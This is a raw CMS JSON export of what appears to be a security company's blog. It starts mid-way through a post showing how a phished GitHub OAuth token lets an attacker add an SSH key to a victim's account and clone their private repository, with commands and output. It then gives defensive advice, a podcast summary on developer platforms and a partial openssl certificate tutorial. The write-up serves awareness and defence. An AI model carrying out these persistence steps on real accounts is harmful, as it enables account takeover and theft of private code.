github.com as target-user (oauth_token)\n  ✓ Git operations for github.com configured to use https protocol.\n  ✓ Token: *******************",[],"code_block$fa53106e-eb86-49a0-910c-211a323087fe",{"variation":437,"version":438,"items":35121,"primary":35122,"id":35132,"slice_type":468,"slice_label":5},[],{"body":35123},[35124,35127],{"type":25,"text":35125,"spans":35126},"Now that we have logged in to GitHub as target-user we can add a new SSH to access the target user private repos.",[],{"type":25,"text":35128,"spans":35129},"First generate a new public\u002Fprivate rsa key pair in the \\tmp folder using the ssh-keygen command.",[35130,35131],{"start":4889,"end":685,"type":765},{"start":9216,"end":3290,"type":765},"rich_text$9961506d-42c8-4446-859c-841664993451",{"variation":437,"version":438,"items":35134,"primary":35135,"id":35140,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35136},[35137],{"type":27922,"text":35138,"spans":35139},"$ ssh-keygen\nGenerating public\u002Fprivate rsa key pair.\nEnter file in which to save the key (\u002Fhome\u002Fcodespace\u002F.ssh\u002Fid_rsa): \u002Ftmp\u002Fid_rsa\nEnter passphrase (empty for no passphrase): \nEnter same passphrase again: \nYour identification has been saved in \u002Ftmp\u002Fid_rsa\nYour public key has been saved in \u002Ftmp\u002Fid_rsa.pub\nThe key fingerprint is:\nSHA256:3RZsuAP3dK16vndv+QCUC4SkC0VORDq4SPVS4ozHnY0 codespace@codespaces-d0244c\nThe key's randomart image is:\n+---[RSA 3072]----+\n|   o =*....      |\n|  *.==+... o . . |\n| o.*+Eo.. + B . .|\n|.....o . + O + . |\n|. .   . S + * .  |\n|           o o   |\n|            . o .|\n|             o o+|\n|              o+*|\n+----[SHA256]-----+",[],"code_block$b41b76df-ed97-4f50-a494-db119ee37958",{"variation":437,"version":438,"items":35142,"primary":35143,"id":35148,"slice_type":468,"slice_label":5},[],{"body":35144},[35145],{"type":25,"text":35146,"spans":35147},"Add the SSH key to the target user GitHub account.",[],"rich_text$77f2457b-7a73-4fb5-994c-29eb5b2cf1c9",{"variation":437,"version":438,"items":35150,"primary":35151,"id":35156,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35152},[35153],{"type":27922,"text":35154,"spans":35155},"$ gh ssh-key add \u002Ftmp\u002Fid_rsa.pub\n✓ Public key added to your account",[],"code_block$f7062515-5d42-4c2c-9d68-7962131501fa",{"variation":437,"version":438,"items":35158,"primary":35159,"id":35164,"slice_type":468,"slice_label":5},[],{"body":35160},[35161],{"type":25,"text":35162,"spans":35163},"To verify list the SSH keys in the GitHub account.",[],"rich_text$ba6eb48e-8c88-4ccd-886c-8627364605bd",{"variation":437,"version":438,"items":35166,"primary":35167,"id":35172,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35168},[35169],{"type":27922,"text":35170,"spans":35171},"$ gh ssh-key list\nTITLE                        ID        KEY                                                                                                                                                                                                                                                                                                 ADDED\ncodespace@codespaces-d0244c  76923897  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQUIfwh\u002FzlGM2jckjX4VGkN7W5fUowuco8lJdMLtTz8WtA7vhpWSK+KyBBASJfFqpT1JqJx3Wxiy5ReTfJ\u002FXAN4Um4rmofjoEgX5pVrl6M...LEWhT3LMzt6bru8oPMnK2P8dNNylimo\u002FXdlpFBzQWgI\u002Fa1LL38rGhlC0PgEBJjNebcLRVIVpUu\u002FIvjBvd8Jdt8xgPjebi60BGXHDfrWxdA52ZVudvUw2XiGU9rdeMzwGZCYjMRnMG\u002F++Wc=  0m",[],"code_block$3bf8daea-d773-4231-ab1f-19401af96d33",{"variation":437,"version":438,"items":35174,"primary":35175,"id":35180,"slice_type":468,"slice_label":5},[],{"body":35176},[35177],{"type":25,"text":35178,"spans":35179},"Change to permissions of the private key.",[],"rich_text$6fa7ad6c-c33e-49aa-b87e-32b71aad4f95",{"variation":437,"version":438,"items":35182,"primary":35183,"id":35188,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35184},[35185],{"type":27922,"text":35186,"spans":35187},"$ chmod 600 \u002Ftmp\u002Fid_rsa",[],"code_block$d8dbeb68-d71b-481f-8fc7-d8787ac53678",{"variation":437,"version":438,"items":35190,"primary":35191,"id":35196,"slice_type":468,"slice_label":5},[],{"body":35192},[35193],{"type":25,"text":35194,"spans":35195},"Finally, use the SSH key to clone the target user private repository.",[],"rich_text$caf0d259-5427-4649-bb1d-0c798ce62f09",{"variation":437,"version":438,"items":35198,"primary":35199,"id":35204,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35200},[35201],{"type":27922,"text":35202,"spans":35203},"$ GIT_SSH_COMMAND='ssh -i \u002Ftmp\u002Fid_rsa -o IdentitiesOnly=yes' git clone git@github.com:target-user\u002Fprivate.git\nCloning into 'private'...\nWarning: Permanently added the ECDSA host key for IP address '140.82.121.3' to the list of known hosts.\nremote: Enumerating objects: 8, done.\nremote: Counting objects: 100% (8\u002F8), done.\nremote: Compressing objects: 100% (6\u002F6), done.\nremote: Total 8 (delta 0), reused 5 (delta 0), pack-reused 0\nReceiving objects: 100% (8\u002F8), done.",[],"code_block$dfd2a3a2-6053-4c74-a370-a0181450ff8c",{"variation":437,"version":438,"items":35206,"primary":35207,"id":35212,"slice_type":468,"slice_label":5},[],{"body":35208},[35209],{"type":25,"text":35210,"spans":35211},"We succeeded! We were able to carry out a campaign using only our phone without any cost!",[],"rich_text$63cfe097-bafe-489e-a867-f58ad658746e",{"variation":437,"version":438,"items":35214,"primary":35215,"id":35220,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35216},[35217],{"type":27922,"text":35218,"spans":35219},"$ cat private\u002FREADME.md\nPrivate repository!",[],"code_block$b8e38edd-cc55-4508-a19b-d936ab52d7dd",{"variation":437,"version":438,"items":35222,"primary":35223,"id":35254,"slice_type":468,"slice_label":5},[],{"body":35224},[35225,35227,35230,35233,35238,35243,35249],{"type":746,"text":4445,"spans":35226},[],{"type":25,"text":35228,"spans":35229},"GitHub Apps can be a powerful tool for automating tasks and integrating with other tools and services, but it's important to be aware of the potential for abuse and to take steps to protect yourself and your organization. Only install apps from trusted sources and never provide your GitHub tokens to an app or service unless you are sure that it is legitimate. If you suspect that an app is trying to phish for your GitHub tokens, report it to GitHub immediately.",[],{"type":988,"text":35231,"spans":35232},"Read more",[],{"type":1151,"text":34716,"spans":35234},[35235],{"start":398,"end":602,"type":489,"data":35236},{"link_type":491,"url":35237},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fdevelopers\u002Fapps\u002Fgetting-started-with-apps\u002Fabout-apps",{"type":1151,"text":35239,"spans":35240},"GitHub Codespaces",[35241],{"start":398,"end":6911,"type":489,"data":35242},{"link_type":491,"url":34847},{"type":1151,"text":35244,"spans":35245},"Hardening your GitHub Enterprise Server",[35246],{"start":398,"end":4219,"type":489,"data":35247},{"link_type":491,"url":35248},"https:\u002F\u002Fgithub.blog\u002F2020-07-20-hardening-your-github-enterprise-server\u002F",{"type":1151,"text":35250,"spans":35251},"Abusing a GitHub Codespaces Feature For Malware Delivery",[35252],{"start":398,"end":4889,"type":489,"data":35253},{"link_type":491,"url":34853},"rich_text$d21ad3f7-f31b-4d17-ab63-9a415919280a",{"id":35256,"uid":35257,"type":25949,"data":35258},"alz0zBEAAC0AUWaN","podcast-idp",{"title":35259,"excerpt":35260,"card_image":35261,"published_date":35266,"reading_time":4603,"tag":25960,"dek":35260,"featured_image":35267,"about_form3":35272,"client_about_heading":5,"client_about_body":35273,"author_name":18970,"author_title":18971,"author_photo":35274,"author_bio":35277,"author_linkedin":35280,"slices":35282,"meta_title":35259,"meta_description":35260},".tech Podcast - Internal Developer Platform","Kaspar Von Grünberg is a the CEO and founder of Humanitec. He joins us to discuss what an Internal Developer Platform is and what to focus on when you're building your own. Finally, he provides an overview of Humanitec's platform, which provides open-source tools you can use when you're building your own IDP.",{"dimensions":35262,"alt":35259,"copyright":5,"url":35263,"id":35264,"edit":35265},{"width":412,"height":412},"\u002F_prismic-media\u002F8878ea7d7261787b-d2f9IiEkH4Kuo9vC_podcast-idp.jpg","d2f9IiEkH4Kuo9vC",{"x":398,"y":398,"zoom":399,"background":650},"2023-03-15",{"dimensions":35268,"alt":5,"copyright":5,"url":35269,"id":35270,"edit":35271},{"width":501,"height":646},"\u002F_prismic-media\u002F99d952272f18653d-gSb46AAmeC_zeGmj_3a01534e-924e-484d-bab8-62524b5.jpg","gSb46AAmeC_zeGmj",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":35275,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":35276},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[35278],{"type":25,"text":25971,"spans":35279},[],{"link_type":491,"key":35281,"url":25975,"target":493},"271c4b68-d829-4d77-861a-1543b1f15ec7",[35283,35303,35325,35349,35372],{"variation":437,"version":527,"items":35284,"primary":35285,"id":35302,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":35286,"body":35290,"cta_label":10704,"cta_link":35293,"aside_type":5,"aside_image":35296,"aside_video":35297,"aside_video_poster":35298,"aside_video_reduced_motion":35299,"aside_video_url":5,"aside_embed":35300,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":35301,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[35287],{"type":746,"text":35288,"spans":35289},"Ep 41 .tech - Internal Developer Platform",[],[35291],{"type":25,"text":10702,"spans":35292},[],{"link_type":491,"key":35294,"url":35295},"e69e14fb-199e-4f8f-a9e9-4c79693b7538","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-41-tech-internal-developer-platform-w1sFeNgd",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$c339db17-407c-4644-b0ad-210bb4d8aa8e",{"variation":437,"version":438,"items":35304,"primary":35305,"id":35324,"slice_type":468,"slice_label":5},[],{"body":35306},[35307],{"type":25,"text":35308,"spans":35309},"Kaspar Von Grünberg is the CEO and founder of Humanitec. Kaspar is passionate for platform engineering and been building platforms at multiple companies. In 2019, he started building the commercial and open-source products for Internal Developer Platforms, including growing communities at platformengineering.org and PlatformCon. His mission is to consolidate tooling and education for modern internal developer platforms.",[35310,35313,35316,35320],{"start":398,"end":6262,"type":489,"data":35311},{"link_type":491,"url":35312},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fkvgruenberg\u002F",{"start":9202,"end":3853,"type":489,"data":35314},{"link_type":491,"url":35315},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fhumanitec\u002F",{"start":1986,"end":35317,"type":489,"data":35318},313,{"link_type":491,"url":35319},"https:\u002F\u002Fplatformengineering.org\u002F",{"start":35321,"end":21512,"type":489,"data":35322},318,{"link_type":491,"url":35323},"https:\u002F\u002Fplatformcon.com\u002F","rich_text$ec01075c-e1e3-4db5-bfef-1a46f7f94801",{"variation":437,"version":438,"items":35326,"primary":35327,"id":35348,"slice_type":468,"slice_label":5},[],{"body":35328},[35329,35332,35335,35338],{"type":746,"text":35330,"spans":35331},"Characteristics of Internal Developer Platforms(IDPs)",[],{"type":25,"text":35333,"spans":35334},"Kaspar begins by telling us what an internal developer platform is NOT. He underlines that there is no out-of-box Internal Developer Platform (IDP). The vendor solutions are Platform as a Service (PaaS) solutions.",[],{"type":25,"text":35336,"spans":35337},"An IDP has two main pillars: standardisation by design and developer self-service. These two pillars can only be achieved by building an IDP, which consists of the tech and tools that a platform engineering team binds into \"golden paths\" for developers. The platform will look different from organisation to organisation, and even vertical to vertical, so there is no simple answer to what an IDP is.",[],{"type":25,"text":35339,"spans":35340},"While there is no one-size-fits-all IDP, Kaspar has seen similarities in the design of IDPs and is keen to share his knowledge on the topic. There is a cost to building an IDP, especially for small teams. Even when the system is small the team can embrace good practices such as separation of concerns and using base Helm charts. This will help engineering teams reuse code and make it easier to extend the system with new services. Humanitec Score is an open-source tool that can help with workload specification. However, Kaspar estimates that a team of less than 40-50 developers that isn't planning to scale probably doesn't need to invest in building an IDP.",[35341,35344],{"start":29413,"end":33136,"type":489,"data":35342},{"link_type":491,"url":35343},"https:\u002F\u002Fhelm.sh\u002Fdocs\u002Fchart_template_guide\u002Fsubcharts_and_globals\u002F",{"start":8904,"end":35345,"type":489,"data":35346},448,{"link_type":491,"url":35347},"https:\u002F\u002Fgithub.com\u002Fscore-spec\u002Fscore-humanitec","rich_text$58e35e8e-7ec6-4820-9e84-d430acfa2014",{"variation":437,"version":438,"items":35350,"primary":35351,"id":35371,"slice_type":468,"slice_label":5},[],{"body":35352},[35353,35356,35359,35365,35368],{"type":746,"text":35354,"spans":35355},"IDP focus areas",[],{"type":25,"text":35357,"spans":35358},"IDPs can be used abstraction layers between the underlying technology and the developers building workloads. Kaspar recommends that we are careful with hiding details behind shiny interfaces and making things \"magically happen\". In a good engineering setup, you should never remove context. The developers need to understand exactly what happens under the hood, have good feedback and understand configuration. This is what a golden path is for developers, versus a golden cage that provides no context or freedom. One of the goals of platform engineering is to help developers solve business problems, through frictionless golden paths.",[],{"type":25,"text":35360,"spans":35361},"Kaspar has written a blogpost \"The top 10 fallacies in platform engineering\", which presents findings collected from speaking with 1850 engineering organisations.",[35362],{"start":3041,"end":854,"type":489,"data":35363},{"link_type":491,"url":35364},"https:\u002F\u002Fhumanitec.com\u002Fblog\u002Ftop-10-fallacies-in-platform-engineering",{"type":25,"text":35366,"spans":35367},"While it is difficult to give generalised advice, Kaspar recommends to start building your IDP with configuration management, bringing the idea of layered abstractions which separates the environment agnostic from the environment specific. Developers can specify what they need and the platform team can set certain defaults. Deployments then bring these two together and create configurations dynamically.",[],{"type":25,"text":35369,"spans":35370},"The needs of your IDP should be based on your business and engineering organisation. You should take a step back before you start building an IDP, ask your users what they want and try to figure out what the largest return on investment for your efforts is before you decide what your IDP should look like.",[],"rich_text$a6e5f43f-dbb5-48dc-8151-361684b43aee",{"variation":437,"version":438,"items":35373,"primary":35374,"id":35413,"slice_type":468,"slice_label":5},[],{"body":35375},[35376,35379,35385,35388,35393,35399,35405,35408],{"type":746,"text":35377,"spans":35378},"The Humanitec platform",[],{"type":25,"text":35380,"spans":35381},"Kaspar provides us an overview of the Humanitec platform. It is not an out-of the box IDP or developer portal. It helps you build golden paths by gluing the tools and technologies you use together. They work with large enterprises and have had over 22,000 signups in the last quarter alone. The Humanitec platform can help you build golden paths, but there is a lot of work your organisation must do as well to alleviate tension between developers and operations.",[35382],{"start":11705,"end":4889,"type":489,"data":35383},{"link_type":491,"url":35384},"https:\u002F\u002Fhumanitec.com\u002Fproduct",{"type":25,"text":35386,"spans":35387},"Humanitec provides three tools:",[],{"type":1151,"text":35389,"spans":35390},"Humanitec Score is an open-source tool with over 7,500 GitHub stars. It provides an open format to help developers describe what resources your workload needs in an environment agnostic way. It creates one configuration rule that works across all environments.",[35391],{"start":398,"end":8472,"type":489,"data":35392},{"link_type":491,"url":35347},{"type":1151,"text":35394,"spans":35395},"Humanitec Platform Orchestrator is a context-aware configuration file generator. It takes in the abstract file from the Score specification, reads it and follows a read-match-create-deploy (RMCD) execution pattern. It is available as a SaaS product or it can be used independently, but it will require connectivity to all of your clusters.",[35396],{"start":398,"end":690,"type":489,"data":35397},{"link_type":491,"url":35398},"https:\u002F\u002Fhumanitec.com\u002Fblog\u002Fwhat-is-a-platform-orchestrator",{"type":1151,"text":35400,"spans":35401},"Humanitec Resource Drivers is open-source and provides drivers that help the Orchestrator connect to various clouds, Crossplane, Terraform etc. They are effectively plugins for the Orchestrator.",[35402],{"start":398,"end":5574,"type":489,"data":35403},{"link_type":491,"url":35404},"https:\u002F\u002Fdocs.humanitec.com\u002Fintegrations\u002Fresource-drivers",{"type":25,"text":35406,"spans":35407},"The bottomline is that if you are using the Humanitec platform approach, developers have a way of creating golden paths and can always drop down to using Terraform if the need arises. Most importantly, they can deliver fast without being dependent on operations. Humanitec is used by a lot of banks and financial institutions.",[],{"type":25,"text":35409,"spans":35410},"Humanitec is running PlatformCon 2023, which is a free, online event taking place 08-09 June. Make sure to join if you are interested in all things platform engineering.",[35411],{"start":703,"end":846,"type":489,"data":35412},{"link_type":491,"url":35323},"rich_text$7c8aa1b1-d46c-449f-9972-d14f6b26ccba",{"id":35415,"uid":35416,"type":25949,"data":35417},"alz1BBEAACsAUWdw","pki-cert-management",{"title":35418,"excerpt":35419,"card_image":35420,"published_date":15611,"reading_time":2375,"tag":25960,"dek":35419,"featured_image":35425,"about_form3":35430,"client_about_heading":5,"client_about_body":35431,"author_name":26951,"author_title":26952,"author_photo":35432,"author_bio":35435,"author_linkedin":35440,"slices":35442,"meta_title":35418,"meta_description":35419},"PKI certificate management","I have a rough understanding of PKI certificates, how they work, and what TLS is in general. However, I've always struggled to understand the details, particularly from the point of view of an operator. How do I check if a certificate is valid? How do I check who issued it? What does it even mean to \"issue\" a certificate? To make matters worse, I'm frequently confounded by the variety of different file types used for certificates. Is it a pem, or a crt, or a pub? Speaking of pub, what's the difference between the TLS certificate my server uses to encrypt traffic, and the certificates I use for SSH authentication? In this post, I will answer these questions and then walk though a practical example of using certificates for TLS via a local nginx proxy, modeling the client\u002Fserver TLS you often see on the web.",{"dimensions":35421,"alt":35418,"copyright":5,"url":35422,"id":35423,"edit":35424},{"width":412,"height":412},"\u002F_prismic-media\u002F64456a87781169bc-exE9iXmqKY6s8eet_pki-cert-management.png","exE9iXmqKY6s8eet",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":35426,"alt":5,"copyright":5,"url":35427,"id":35428,"edit":35429},{"width":501,"height":502},"\u002F_prismic-media\u002F66ea9aa6b457dac7--yOjR3yIUzRrs2MA_fcbdb2ff-9078-46dd-8b14-191a29f.png","-yOjR3yIUzRrs2MA",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":35433,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":35434},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[35436],{"type":25,"text":26961,"spans":35437},[35438],{"start":19275,"end":18958,"type":489,"data":35439},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":35441,"url":26968,"target":493},"9894a13a-2eef-4ffd-a6dc-a1a685041efd",[35443,35475,35501,35534,35554,35568,35576,35590,35598,35640,35648,35656,35664,35672,35680,35688,35696,35704,35712,35734,35742,35750,35758,35766,35774,35794,35802,35814,35822,35836,35844,35852,35860,35868,35880,35895,35903,35912,35920,35929,35937,35945,35953,35961,35969,35978,35986,35994,36001,36010,36017,36025,36033,36041,36049,36057,36065,36073,36081,36093,36101,36111],{"variation":437,"version":438,"items":35444,"primary":35445,"id":35474,"slice_type":468,"slice_label":5},[],{"body":35446},[35447,35449,35453,35456,35459,35462,35465,35468,35471],{"type":746,"text":32658,"spans":35448},[],{"type":25,"text":35450,"spans":35451},"As I said, I have a very rough understanding, but a lot of gaps.",[35452],{"start":1066,"end":3041,"type":765},{"type":25,"text":35454,"spans":35455},"In this post, I will try to explain:",[],{"type":1151,"text":35457,"spans":35458},"The different file formats that can be used to store certificates.",[],{"type":1151,"text":35460,"spans":35461},"How the files are structured, and how they differ from one another.",[],{"type":1151,"text":35463,"spans":35464},"How to generate new certificates, and inspect existing ones, using the openssl command line tool.",[],{"type":1151,"text":35466,"spans":35467},"What a certificate chain is, and how to inspect it.",[],{"type":1151,"text":35469,"spans":35470},"The difference between a TLS certificate and an SSH certificate.",[],{"type":25,"text":35472,"spans":35473},"Hopefully by the end of the post, you'll have a clearer idea of what certificates are, and how to interact with them.",[],"rich_text$39ac6984-4191-4a9d-9d67-95698efc813b",{"variation":437,"version":438,"items":35476,"primary":35477,"id":35500,"slice_type":468,"slice_label":5},[],{"body":35478},[35479,35482,35485,35488,35491,35494,35497],{"type":746,"text":35480,"spans":35481},"An introduction to PKI certificates",[],{"type":25,"text":35483,"spans":35484},"Before we start exploring the different ways PKI certificates can be generated, stored, verified, and used, let's just take a step back and start with an introduction to PKI certificates in general.",[],{"type":25,"text":35486,"spans":35487},"Public Key Infrastructure certificates are most commonly used for securing TCP and HTTP communication via TLS. They are primarily used to:",[],{"type":1151,"text":35489,"spans":35490},"Encrypt end-to-end communication.",[],{"type":1151,"text":35492,"spans":35493},"Establish trust between a client and a server, so that the server's identity can be verified.",[],{"type":25,"text":35495,"spans":35496},"The certificates themselves normally contain metadata about the owner (such as name, location, etc.), as well as a public key used for encryption. The certificate is accompanied by a private key, which makes decryption possible.",[],{"type":25,"text":35498,"spans":35499},"Normally, a PKI certificate manifests as a pair of files on disk. One containing the certificate, and another containing the private key.",[],"rich_text$d6884baf-fae5-43bc-bd33-09c7c712aa7a",{"variation":437,"version":438,"items":35502,"primary":35503,"id":35533,"slice_type":468,"slice_label":5},[],{"body":35504},[35505,35508,35511,35514,35517,35520,35523,35526],{"type":746,"text":35506,"spans":35507},"PKI certificate files",[],{"type":25,"text":35509,"spans":35510},"Most TLS certificates are in fact X.509 certificates. X.509 is a standard for certificate structure which defines which fields are included in the certificate. X.509 certificates can be stored in a variety of different file formats, which is the main cause of my confusion about which file types are used to store certificates.",[],{"type":25,"text":35512,"spans":35513},"The certificate itself is comprised of three parts:",[],{"type":3373,"text":35515,"spans":35516},"Information about the certificate, such as the issuer and the distinguished name the certificate is for.",[],{"type":3373,"text":35518,"spans":35519},"The public key, used for encrypting data.",[],{"type":3373,"text":35521,"spans":35522},"The private key, used for decrypting data.",[],{"type":25,"text":35524,"spans":35525},"Normally, when a certificate is generated, its information and public key are stored in one file (normally just referred to as the certificate), and the private key is stored in another file.",[],{"type":25,"text":35527,"spans":35528},"X.509 certificates are typically stored in base64 encoded ASCII files which use the *.pem, *.crt and *.cer file extensions for the public key portion interchangeably. The private key is typically stored in a file with the *.key file extension. Whenever you see one of these files, you're looking at a base64 encoded X.509 certificate, irrespective of what the file extension might be.",[35529,35530,35531,35532],{"start":5321,"end":9315,"type":765},{"start":1408,"end":5328,"type":765},{"start":1481,"end":6835,"type":765},{"start":9295,"end":2833,"type":765},"rich_text$fc069231-87b7-497d-8a89-3e7abb05541d",{"variation":437,"version":438,"items":35535,"primary":35536,"id":35553,"slice_type":468,"slice_label":5},[],{"body":35537},[35538,35541,35544,35547,35550],{"type":746,"text":35539,"spans":35540},"Certificate requests",[],{"type":25,"text":35542,"spans":35543},"Before we dive into generating new certificates in the next section, it's worth briefly mentioning what a certificate request is. Certificate requests require a basic understanding of certificate authorities.",[],{"type":25,"text":35545,"spans":35546},"A certificate authority is a reputable company who digitally signs certificates to indicate that they are from a trustworthy source. When a certificate is used for authentication and encryption, its authenticity can be verified by checking that the certificate's signature was generated by the original certificate authority. This verification process is discussed in more detail later in this post.",[],{"type":25,"text":35548,"spans":35549},"Normally, when a new certificate is generated, it is signed by a certificate authority. When generating certificates in this way, the artifacts of the certificate generation process are files which actually represent a certificate request, and not a certificate.",[],{"type":25,"text":35551,"spans":35552},"The certificate request is sent to the certificate authority, who returns a signed certificate which is ready to use. When experimenting with certificate generation locally, this certificate request and signing step can be skipped, and a certificate can be generated directly with no signing. This is known as a self-signed certificate, which is perfectly usable, but would fail certificate verification checks as no trusted authority has signed it. More on this later.",[],"rich_text$e7620f60-0611-4ee0-8960-1ae33d6e06ec",{"variation":437,"version":438,"items":35555,"primary":35556,"id":35567,"slice_type":468,"slice_label":5},[],{"body":35557},[35558,35561,35564],{"type":746,"text":35559,"spans":35560},"Generating and inspecting certificates with openssl",[],{"type":25,"text":35562,"spans":35563},"New X.509 certificates can be generated using the openssl command line tool. Parameters for certificate generation can be provided via command line arguments, interactive responses, or via a config file.",[],{"type":25,"text":35565,"spans":35566},"For this example, we will start with the following config file:",[],"rich_text$6572940c-f24e-46c7-8f22-4374250f6193",{"variation":437,"version":438,"items":35569,"primary":35570,"id":35575,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35571},[35572],{"type":27922,"text":35573,"spans":35574},"$ cat \u003C\u003C EOF > openssl.conf\n[req]\ndistinguished_name=distinguished_name\nprompt=no\n\n[distinguished_name]\ncountryName=UK\nlocalityName=London\norganizationName=Form3\ncommonName=localhost\nEOF",[],"code_block$36802fca-8717-4d69-803f-5ac289588abf",{"variation":437,"version":438,"items":35577,"primary":35578,"id":35589,"slice_type":468,"slice_label":5},[],{"body":35579},[35580,35586],{"type":25,"text":35581,"spans":35582},"The distinguished name in this configuration identifies the owner of the certificate. As well as containing things like organisation name and location, the distinguished name also includes the Common Name. This is the hostname at which the certificate will be used, and forms an important part of certificate verification. In this case, the certificate we're generating could only be used to encrypt traffic on localhost.",[35583],{"start":35584,"end":35585,"type":765},411,420,{"type":25,"text":35587,"spans":35588},"Then, we can use openssl to generate a new X.509 certificate with the following:",[],"rich_text$9ca6ceda-5800-4cb1-85dd-0005470b5a74",{"variation":437,"version":438,"items":35591,"primary":35592,"id":35597,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35593},[35594],{"type":27922,"text":35595,"spans":35596},"$ openssl req -x509 -nodes -newkey rsa:4096 -keyout private.key -out certificate.pem -config openssl.conf",[],"code_block$b092b2ce-9327-43f6-84db-c10ad03fd960",{"variation":437,"version":438,"items":35599,"primary":35600,"id":35639,"slice_type":468,"slice_label":5},[],{"body":35601},[35602,35605,35609,35613,35617,35621,35625,35629,35633,35636],{"type":25,"text":35603,"spans":35604},"Let's just examine each of the command line arguments:",[],{"type":1151,"text":35606,"spans":35607},"req: this command creates and processes certificate requests.",[35608],{"start":398,"end":418,"type":765},{"type":1151,"text":35610,"spans":35611},"-x509: generate an X.509 certificate that is self-signed, as opposed to a certificate request that would need to be signed by a certificate authority.",[35612],{"start":398,"end":643,"type":765},{"type":1151,"text":35614,"spans":35615},"-nodes: do not encrypt the private key.",[35616],{"start":398,"end":2375,"type":765},{"type":1151,"text":35618,"spans":35619},"-newkey rsa:4096: indicates that a new certificate request and private key should be generated, and that the RSA algorithm should be used with a key length of 4096 bits.",[35620],{"start":398,"end":2477,"type":765},{"type":1151,"text":35622,"spans":35623},"-keyout private.key: the file to write the private key to.",[35624],{"start":398,"end":6262,"type":765},{"type":1151,"text":35626,"spans":35627},"-out certificate.pem: the file to write the certificate and public key to.",[35628],{"start":398,"end":7460,"type":765},{"type":1151,"text":35630,"spans":35631},"-config openssl.conf: the config file to use for certificate parameters.",[35632],{"start":398,"end":7460,"type":765},{"type":25,"text":35634,"spans":35635},"The result of this command is two files: a private key, and a certificate file containing a public key.",[],{"type":25,"text":35637,"spans":35638},"The certificate looks like this:",[],"rich_text$f1b941c6-60c6-4cf0-8d01-adeb440cdf78",{"variation":437,"version":438,"items":35641,"primary":35642,"id":35647,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35643},[35644],{"type":27922,"text":35645,"spans":35646},"$ cat certificate.pem\n-----BEGIN CERTIFICATE-----\nMIIE2DCCAsACCQCZfiGwlnUbgDANBgkqhkiG9w0BAQsFADAuMQswCQYDVQQGEwJV\nSzEPMA0GA1UEBwwGTG9uZG9uMQ4wDAYDVQQKDAVGb3JtMzAeFw0yMjA0MjcxNTU1\n...\nqjgSTJpltmuAUl2qYvo8ZV9RFnhUKPk3e1ntJMWA1rvhaHaClTLUK9hUTGVuj\u002FeL\n5xNkbEKS\u002FbwwCJQNdmgdyKeTa7ntJYdxiXMClemcJZiFQup3WBtWzEueaxI=\n-----END CERTIFICATE-----",[],"code_block$51339e36-ec41-4317-9bd1-a2bccc6a7e3a",{"variation":437,"version":438,"items":35649,"primary":35650,"id":35655,"slice_type":468,"slice_label":5},[],{"body":35651},[35652],{"type":25,"text":35653,"spans":35654},"The private key looks like this:",[],"rich_text$b356d394-a6e7-410f-a2c6-92daa625fccd",{"variation":437,"version":438,"items":35657,"primary":35658,"id":35663,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35659},[35660],{"type":27922,"text":35661,"spans":35662},"$ cat private.key\n-----BEGIN ENCRYPTED PRIVATE KEY-----\nMIIJnzBJBgkqhkiG9w0BBQ0wPDAbBgkqhkiG9w0BBQwwDgQI\u002FSQlNhidF\u002FECAggA\nMB0GCWCGSAFlAwQBKgQQ\u002FKqcoZLt2nrZYniObOZRFgSCCVA6GDSvQpmzr7sg40GU\n...\nvAPV8WR\u002FFIzEHL4hzfgFq1PHXy\u002F1dTwgpJRW3Idfigcv9PNC4s\u002FO980DztdUXEnp\nk1v\u002F0kZuvPGMLRpRUhhNlOOfSw==\n-----END ENCRYPTED PRIVATE KEY-----",[],"code_block$9fd808eb-e9e8-44cc-84ba-0088c33c7ecd",{"variation":437,"version":438,"items":35665,"primary":35666,"id":35671,"slice_type":468,"slice_label":5},[],{"body":35667},[35668],{"type":25,"text":35669,"spans":35670},"Now that we've successfully generated a certificate and private key, we can inspect these files as follows:",[],"rich_text$f46cf548-7c7d-4142-a515-3a2d704ca8a7",{"variation":437,"version":438,"items":35673,"primary":35674,"id":35679,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35675},[35676],{"type":27922,"text":35677,"spans":35678},"$ openssl x509 -in certificate.pem -text\nCertificate:\n    Data:\n        Version: 1 (0x0)\n        Serial Number: 11060314777190734720 (0x997e21b096751b80)\n    Signature Algorithm: sha256WithRSAEncryption\n        Issuer: C=UK, L=London, O=Form3, CN=localhost\n        Validity\n            Not Before: Apr 27 15:55:58 2022 GMT\n            Not After : May 27 15:55:58 2022 GMT\n        Subject: C=UK, L=London, O=Form3, CN=localhost\n        Subject Public Key Info:\n            Public Key Algorithm: rsaEncryption\n                Public-Key: (4096 bit)\n                Modulus:\n                    00:d1:8a:f1:90:4e:0c:26:35:ce:8a:60:f7:a2:01:\n                    